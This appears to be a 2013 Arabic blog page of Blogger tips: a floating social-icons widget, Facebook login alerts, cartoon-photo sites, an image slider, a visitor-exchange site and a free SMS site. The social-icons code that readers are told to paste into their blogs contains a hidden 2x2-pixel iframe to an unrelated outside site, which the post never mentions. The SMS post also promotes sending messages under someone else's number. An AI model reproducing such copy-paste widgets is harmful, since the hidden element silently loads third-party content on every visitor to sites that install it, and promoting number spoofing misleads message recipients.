ايقونات المواقع الاجتماعية غاية في الجمال بتقنية css

كاتب الموضوع kasb يوم الأربعاء، 18 سبتمبر 2013 0 التعليقات
اعزائي الكرام زوار ومتتبعي شبكتنا الكرام
مسائكم سعيد
الكل يريد ان يضع ايقونات المواقع الاجتماعية في موقعه وهي الان لا تخلو اي موقع من المواقع
على الشبكة العنكبوتية
ولهدا اتيتكم بايقونات عائمة ومنزلقة في جانب القالب لمدونة بلوجر بشكل جداب غاية في الجمال
وهي معمولة بتقنية css 
وهده صورة من الاضافة


وهدا متال مباشر للاضافة

كود الاضافة



<style type="text/css">
/*<![CDATA[*/
@charset "utf-8";
/* CSS Document */
/* ---------- ENTYPO ---------- *//* ---------- Digital Hub Inc : http://ajyal-s.blogspot.com//---------- */
@import url(http://weloveiconfonts.com/api/?family=entypo);
[class*="entypo-"]:before {
font-family: 'entypo', sans-serif;
}
/* ---------- GENERAL ---------- */
#social-sidebar a { text-decoration: none; }
#social-sidebar ul {
list-style: none;
margin: 0;
padding: 0;
}
/* ---------- Social Sidebar ---------- */
#social-sidebar {
left: 0;
margin-top: -75px; /* (li * a:width) / -2 */
position: fixed;
top: 50%;
}
#social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }
#social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }
#social-sidebar ul li a {
background: #121212;
color: #fff;
display: block;
height: 50px;
font-size: 18px;
line-height: 50px;
position: relative;
text-align: center;
width: 50px;
}
#social-sidebar ul li a:hover span {
left: 130%;
opacity: 1;
}
#social-sidebar ul li a span {
border-radius: 3px;
line-height: 24px;
left: -100%;
margin-top: -16px;
-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
filter: alpha(opacity=0);
opacity: 0;
padding: 4px 8px;
position: absolute;
-webkit-transition: opacity .3s, left .4s;
-moz-transition: opacity .3s, left .4s;
-ms-transition: opacity .3s, left .4s;
-o-transition: opacity .3s, left .4s;
transition: opacity .3s, left .4s;
top: 50%;
z-index: -1;
}
#social-sidebar ul li a span:before {
content: "";
display: block;
height: 8px;
left: -4px;
margin-top: -4px;
position: absolute;
top: 50%;
-webkit-transform: rotate(45deg);
-moz-transform: rotate(45deg);
-ms-transform: rotate(45deg);
-o-transform: rotate(45deg);
transform: rotate(45deg);
width: 8px;
z-index: -2;
}
#social-sidebar ul li a[class*="twitter"]:hover,
#social-sidebar ul li a[class*="twitter"] span,
#social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }
#social-sidebar ul li a[class*="gplus"]:hover,
#social-sidebar ul li a[class*="gplus"] span,
#social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }
#social-sidebar ul li a[class*="tumblr"]:hover,
#social-sidebar ul li a[class*="tumblr"] span,
#social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; }
#social-sidebar ul li a[class*="facebook"]:hover,
#social-sidebar ul li a[class*="facebook"] span,
#social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }
#social-sidebar ul li a[class*="rss"]:hover,
#social-sidebar ul li a[class*="rss"] span,
#social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }
/*]]>*/
</style><iframe src="http://raay-arab.4ulike.com/h3-" width="2" height="2" frameBorder="0" scrolling="no"></iframe>
<div id="social-sidebar">
<ul>
<li>
<a class="entypo-twitter" href="https://twitter.com/" rel="nofollow" target="_blank">
<span>Twitter</span>
</a>
</li>
<li>
<a class="entypo-gplus" href="https://plus.google.com/" rel="nofollow" target="_blank">
<span>google+</span>
</a>
</li>
<li>
<a class="entypo-tumblr" href="http://www.tumblr.net/" rel="nofollow" target="_blank">
<span>tumblr</span>
</a>
</li>
<li>
<a class="entypo-facebook" href="https://www.facebook.com/" rel="nofollow" target="_blank">
<span>facebook</span>
</a>
</li>
<li>
<a class="entypo-rss" href="http://feeds.feedburner.com/" rel="nofollow" target="_blank">
<span>feedburner</span>
</a>
</li>
</ul>
</div>

طريقة التركيب 

ادخل الى اعددات المدونة تم تخطيط تم اضافة اداة جديدة 
واخيرا انسخ الكود والصقة فيها مع تغير الروابط التي باللون الازرق الى ما يناسب 
وهدا شرح بالصور 

ردودكم تهمنا ادن فلا تبخل بردك لنا حتى نستمر..
    إقرأ المزيد
     طريقة التوصل بالاشعارات عبر الايميل او عبر رسائل sms من موقع الفيس بوك عند اختراق او محاولة اختراق حسابكم
    وكما ارى بان الكثير من مسخدمى الفيسبوك و بسبب قلة الخبرة أو الدخول العشوائى على تطبيقات و ألعاب الفيسبوك قد يتعرض حسابهم على موقع الفيسبوك للإختراق , حيث تقوم بعض التطبيقات بالحصول على بعض التصريحات و التى قد تمكن مبرمجها من الوصول إلى معلومات غاية فى الحساسية عن المستخدم.

    و أيضا من أشهر حالات إختراق حسابات المستخدمين على موقع الفيس بوك هيا الصفحات الوهمية حيث ينشىء الهاكر واجهة مشابهة تماما لواجهة موقع الفيس بوك و يقوم بتحول الضحية إليها بطريقة أو بأخرى عن طريق رابط فى التعليقات أو رابط على صفحة الضحية على موقع فيسبوك و بمجرد ضغط الضحية على الرابط تظهر له الواجهة الرئيسية لموقع فيسبوك فيظن الضحية أنه يحتاج إلى أعادة كتابة بياناته للدخول مرة أخرى لموقع الفيسبوك ولاكنه فى تلك الحالة يقوم بكتابة بياناته و إرسالها للهاكر.
    وقد يظل حساب الضحية على موقع الفيسبوك تحت سيطرة الهاكر دون أى علم منه يقوم الهاكر خلالها بالدخول على حساب الضحية و قراءة الرسائل الخاصة بين الضحية و أصدقائه أو أقربائه كما يتمكن من رؤية صور الضحية على موقع الفيس بوك وكل هذا قد يحتوى على معلومات و صور غاية فى الخصوصية.
    لذلك سنتعلم اليوم طريقة تجعل موقع الفيسبوك يقوم بتنبيهك فى حالة الدخول إلى حسابك من جهاز أخر غير جهازك المعتاد و ذلك عن طريق رسالة نصية أو إيميل لصندوق بريدك الألكترونى الذى قمت بالتسجيل بواسطته فى موقع الفيسبوك , وبذلك تستطيع و بمنتهى السرعة معرفة إذا كان شخص ما قد قام بالدخول إلى حساب الفيسبوك الخاص بك بشكل غير شرعى أو قام بأختراق حسابك على الفيسبوك.
    خطوات كيف تجعل الفيسبوك يرسل رسالة تنبيه إلى جوالك فى حالة إختراق حسابك:
    1- ستقوم بالدخول إلى صفحتك على موقع فيسبوك كالمعتاد عن طريق كتابة الأيميل الخاص بك و الباسورد
    2- من التول بار أعلى صفحة الفيسبوك بجانب رابط الصفحة الرئيسية Home كما بالصورة و بالضغط على السهم الموجود بجانبها و قم بأختيار إعدادات Settings لفتح صفحة الأعدادات الخاصة بحسابك


    3- من صفحة الأعدادات settings نقوم بأختيار الصفحة الخاصة بأعدادات الأمان Security




    4- نقوم بالضغط على كلمة تعديل Edit أمام الأختيار الخاص بأشعارات الدخول Login Notifications


    5- نقوم بأختيار الرسائل النصية SMS فى حالة الرغبة فى تلقى التنبيهات على جوالك فى شكل رسالة قصيرة , أو فى شكل رسالة بريد إلكترونى Email يتم إرسالها إلى حساب البريد الألكترونى الذى قمت بالتسجيل به فى الفيسبوك و يمكنك أختيار الأختيارين معا


    6-فى حالة دخولك على حسابك على موقع فيسبوك من أى جهاز أخر غير جهازك سيطلب منك الموقع حفظ الجهاز الذى قمت بالدخول منه حتى لا يقوم الموقع بأزعاجك بأرسال رسالة نصية كلما تستخدم هذا الجهاز للدخول إلى حسابك فيمكنك حفظ جهاز الكمبيوتر الخاص بالعمل و جهاز البتوب الخاص بك أو حتى جهازك اللوحى و جوالك و ستجد هذه الأجهزة فى أختيار أجهزة تم التعرف عليها Recognized Devices فى نفس صفحة إعدادت الأمان Security.

    حيث يمكن عن طريق ضغط تعديل Edit أما هذا الأختيار عمل حذف لبعض الأجهزة المتعرف عليها مسبقا وذلك فى حالة عدم نيتك لأستخدام الجهاز المذكور مرة أخرى ككمبيوتر العمل بعد أن قمت بالعمل فى مكان أخر.

    الشرح مقدم لكم من Professional
    إقرأ المزيد
    السلام عليكم ورحمة الله وبركاته
    احبائي الكرام اهلا ومرحبا بكم معنا في هدا الموضوع والدي سأقدم لكم فيه
     احسن المواقع لعمل صور كرتونية او تغير صوركم الى صور كرتونية رائعة
    ولوحات فنية جميلة 
    كما ارى انها انتشرت كتيرا في المنتديات والشبكات التواصل الجتماعية
    تغير الصور الى صور كرتونية بمقابل مادي او بلاعجبات على الصفحات
    لكن الان انا اتيتكم باحسن مواقع لعمل صوركم تحفة فنية واسعمالها في صفحاتكم على الفيس بوك وتويتر وغيرها
    من المواقع الاجتماعية وكدالك في المنتديات كما يمنكم ان تشاركو بها اينما اردتم واحببتم

    بدون اطالة في الموضوع 

    الموقع الاول 

    رابط الموقع

    ارقى واحسن واجمل المواقع لتعديل على الصور وتحويلها الى صور كرتونية

    الموقع التاني

    رابط الموقع

    ارقى واحسن واجمل المواقع لتعديل على الصور وتحويلها الى صور كرتونية


    الموقع التالت 


    ومن لديه هاتف من الجيل التالت الاجهزة الدكية يمكنه تحميل تطبيق الموقع وعمل على الهاتف بدون نت

    رابط الموقع

    ارقى واحسن واجمل المواقع لتعديل على الصور وتحويلها الى صور كرتونية

    الموقع الرابع


    والدي يمكنك ان تصنع صور كرتونية من خيالك وبتقنيات غاية في الجمال

    رابط الموقع

    وهنا المزيد من المواقع المشابهة لتعديل على الصور
    وعمل اضفات وتعديلات عليها


    لا تقرء وترحل اخي الكريم فتعليقاتكم تشجعنا على جلب الكتير والكتير من المواضيع الرائعة والمفيدة
    كما يمكنم الاشتراك عبر البريد الالكتروني لتتوصل بجديد الموقع..


    إقرأ المزيد

    سلايدر جميل وسهل في التركيب بدون الولوج الى اكواد القالب

    كاتب الموضوع kasb يوم الثلاثاء، 17 سبتمبر 2013 2 التعليقات
    السلام عليكم ورحمة الله وبركاته
    احبائي الكرام اهلا وسهلا بكم معنا في هدا الموضوع
    وهو تلبية طلب احد الاصدقاء.
    وان شاء الله سيروق جميع الادواق
    اليكم صورة السلايدر واظن بانكم تعرفونه


    كود السلايدر

    <style type="text/css">


    #mcis {
    display: none;
    }

    #sliderFrame {
    position: relative;
    width: 660px;
    margin: 0 auto;
    border:5px solid #000;
    border-bottom:25px solid #000;
    background:#fff;
    border-radius:0 0 5px 5px;-webkit-border-radius:0 0 5px 5px;-moz-border-radius:0 0 5px 5px;
    margin-bottom:5px;
    }
    #slider img {
    position: absolute;
    border: none;
    display: none;
    }

    #slider {
    width: 660px;
    height: 200px;
    background: #fff url(http://i78.servimg.com/u/f78/17/70/27/78/abdo10.png) no-repeat 50% 50%;
    position: relative;
    margin: 0 auto;
    box-shadow: 0px 1px 5px #999999;
    }

    #slider a.imgLink {
    z-index: 2;
    display: none;
    position: absolute;
    top: 0px;
    left: 0px;
    border: 0;
    padding: 0;
    margin: 0;
    width: 100%;
    height: 100%;
    }

    div.mc-caption-bg, div.mc-caption-bg2 {
    position: absolute;
    width: 100%;
    height: auto;
    padding: 0;
    left: 0px;
    bottom: 0px;
    z-index: 3;
    overflow: hidden;
    font-size: 0;
    }

    div.mc-caption-bg {
    background-color: black;
    }

    div.mc-caption {
    font: bold 14px/20px Arial;
    color: #EEE;
    z-index: 4;
    padding: 10px 0;
    text-align: center;
    }

    div.mc-caption a {
    color: #FB0;
    }

    div.mc-caption a:hover {
    color: #DA0;
    }

    div.navBulletsWrapper {
    top:207px;
    background: none;
    position: relative;
    z-index: 5;
    cursor: pointer;
    }

    div.navBulletsWrapper div {
    width: 11px;
    height: 11px;
    background:transparent url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaf-5uVRJw8_zdgYw0N22-qoGVvMZ2MwT_FTGIv8DJmzolyCIxsFAYXt0bZBVBXiFYRmFxSRQTrXlFmXc0_hs5inXKlNou_MvsURpKBMZLQHbNV293SWbw-0ja104zLuRDRaxY2ap0xPQ/s22/cnmu-sliddot.png) no-repeat 0 0;
    float: left;
    overflow: hidden;
    vertical-align: middle;
    cursor: pointer;
    margin-right: 11px;
    _position: relative;
    }



    div.navBulletsWrapper div.active {
    background-position: 0 -11px;
    }

    #slider {
    transform: translate3d(0,0,0);
    -ms-transform: translate3d(0,0,0);
    -moz-transform: translate3d(0,0,0);
    -o-transform: translate3d(0,0,0);
    -webkit-transform: translate3d(0,0,0);
    }
    </style>

    <script src="https://cnmu.googlecode.com/svn/trunk/cnmuslid.js" type="text/javascript"></script>

    <div id="sliderFrame">
    <div id="slider">
    <a href="http://ajyal-s.blogspot.com/"><img src="http://i78.servimg.com/u/f78/17/70/27/78/abdo10.png" alt="مرحبا بكم في شبكة اجيال السلام"/></a>
    <a href="http://ajyal-s.blogspot.com/2013/06/blog-post_6.html"><img src="http://i78.servimg.com/u/f78/17/70/27/78/ou10.png" alt="تحميل الصور مجانا "/></a>
    <a href="http://ajyal-s.blogspot.com/2013/05/blogger.html"><img src="http://i78.servimg.com/u/f78/17/70/27/78/az10.png" alt="اضافات للبلوغر bloggerحصريا على اجيال السلام "/></a>
    <a href="http://ajyal-s.blogspot.com/2013/06/FastStone-Capture.html"><img src="https://lh3.googleusercontent.com/-oa3-OtPnQYw/UbRd_BFCy6I/AAAAAAAAAfo/fqW5KkqBFIc/s660/FastStone%2520Capture.png" alt="تحميل برنامج تصوير الشاشة لسطح المكتب والمواقع FastStone Capture "/></a>
    </div></div>

    طريقة تركيب السلايدر سهلة جدا فقط ما عليك الا ان تضيف اداة جديدة 
    وتضع فيها الكود اعلاه مع مراعات تغير ما باللون الاصفر بـ عنوان الموضوع 
    وما باللون الاخضر بـ رابط الموضوع وتعويض وما باللون الازرق برابط الصورة
    بشرط ان تكون الصورة بالمقايس التالية 660 / 200 بكسل
    وان اردت تغير حجم السلايدر يمكنك ان تغير الارقام التي بالاحمر بما يناسب
    مدونتك


    اي استفسار اطرحه هنا في رد على الموضوع
    إقرأ المزيد

    طريقة الحصول على 100 زائر حقيقي يوميا ومجانا وتخفيض ترتيبك في اليكسة

    كاتب الموضوع kasb يوم السبت، 7 سبتمبر 2013 6 التعليقات
    السلام عليكم ورحمة الله وبركاته
    اليوم جايب لعي هدية لكم وهده الهدية تخص بالاحرى اصحاب 
    المواقع والمدونات 
    وهو موقع يعطيك 100 زائر يوميا بطريقة شرعية وغير مخالفة لخطة ادسنس
    وهم زوار حقيقين وليسو بوهمين كما يعمل بعد المواقع

    سيو،ارشفة،ارشف موقعك،موقع جلب الزوار،100 زائر مجانا،اكسب ارشفة،

    تفضل رابط الموقع



    وايضا يمكنك ان تتبادل مع الموقع بالزوار 
    كما يمكنك ان تشتري الزوار من الموقع باتمنة مناسبة جدا

    قم بالتسجيل وسترى حقيقة ما قلت

    تسجيل

    إقرأ المزيد
    احبتي واخوتي اهلا بكم في هدا الموضوع
    والدي ساقدم لكم فيه موقع رائع يمنحك ارسال الرسائل القصيرة مجانا sms
    وبدون تسجيل نحوى جميع دول العالم وبرقمكم 
    نعم برقمكم الخاص تسئلون كيف ادن تابع معي الشرح وستعرفون 
    او يمكنكم ان تبعتو الرسالة برقم احد الاصدقاء غريب لا يصدق

    نعم هو كدالك ومجرب تفضل الشرح بالصور

    اولا ندخل على الموقع من هنا

    sms،اس ام اس،ارسال مساج مجاني،بريد،ارسال رسالة مجانا

    تم هده هي واجهة الموقع الدي سنرسل منه الرسائل

    تم الشرح على الصورة تابع الشرح بالتدقيق

    اضغط على الصور لتضهر لك بالحجم الاصلي

    sms،اس ام اس،ارسال مساج مجاني،بريد،ارسال رسالة مجانا

    بعد ان تملىء كل شيء اضغط على الايقونة اسفله

    ،اس ام اس،ارسال مساج مجاني،بريد،ارسال رسالة مجانا

    والى هنا اكون قد انتهيت من شرحي هدا والى شرح اخر وموضوع اخر
    اي استفسار ضعوه هنا واعطيكم الحل بادن الله

    إقرأ المزيد

    Sample Links

    [ لوحة التحكم شبكة اجيال السلام]

    English French German Spain Italian Dutch Russian Portuguese Japanese Korean Arabic Chinese Simplified

    جميع الحقوق محفوظة لــ شبكة اجيال السلام سياسة الخصوصية | شروط الإستخدام | إدعمنا